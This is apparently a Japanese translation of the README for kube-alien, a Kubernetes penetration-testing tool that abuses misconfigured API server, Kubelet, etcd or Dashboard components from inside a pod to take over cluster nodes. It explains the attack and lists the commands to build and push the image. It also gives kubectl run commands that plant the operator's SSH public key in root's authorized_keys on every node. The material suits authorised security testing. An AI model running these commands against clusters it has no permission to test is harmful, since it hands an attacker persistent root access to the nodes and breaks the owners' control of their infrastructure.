
自動化されたKubernetesクラスター侵入テストツール。API、Kubelet、etcd、Dashboardの設定ミスを悪用し、ポッド内からSSHキーを注入してノードを乗っ取ります。
このツールは、k8sクラスター内部から攻撃を仕掛けます。つまり、実行するにはクラスター内にPodをデプロイする権限を持つアクセスがすでに必要です。kube-alien Podを実行すると、このイメージ(https://github.com/nixwizard/dockercloud-authorizedkeys)を使用して、ノードの /root/.ssh/authorized_keys ファイルにあなたの公開鍵を追加することで、クラスターのノードを乗っ取ろうとします。このイメージは docker/dockercloud-authorizedkeys からフォークされており、config.py の ADD_AUTHKEYS_IMAGE パラメータで調整可能です。 攻撃が成功するのは、クラスターのコンポーネントのいずれかに設定ミスがあり、以下のベクトルに沿って進む場合です。
このツールの目的は何ですか?
実際の環境でk8sクラスターが内部からどのように攻撃される可能性がありますか?
このツールを使用する前に、Kube-alienイメージをDockerHub(または他のレジストリ)にプッシュする必要があります。
git clone https://github.com/nixwizard/kube-alien.git
cd kube-alien
docker build -t ka ./
docker tag ka YOUR_DOCKERHUB_ACCOUNT/kube-alien
docker push YOUR_DOCKERHUB_ACCOUNT/kube-alien
AUTHORIZED_KEYS 環境変数は、SSH公開鍵の値に設定する必要があります。成功した場合、公開鍵はすべてのノードのrootの authorized_keys ファイルに追加されます。
kubectl run --image=YOUR_DOCKERHUB_ACCOUNT/kube-alien kube-alien --env="AUTHORIZED_KEYS=$(cat ~/.ssh/id_rsa.pub)" --restart Never
または、クイックテスト用に私のイメージを使用することもできます。
kubectl run --image=nixwizard/kube-alien kube-alien --env="AUTHORIZED_KEYS=$(cat ~/.ssh/id_rsa.pub)" --restart Never
Kube-alien Podのログを確認して、攻撃が成功したかどうかを確認します。
kubectl logs $(kubectl get pods| grep alien|cut -f1 -d' ')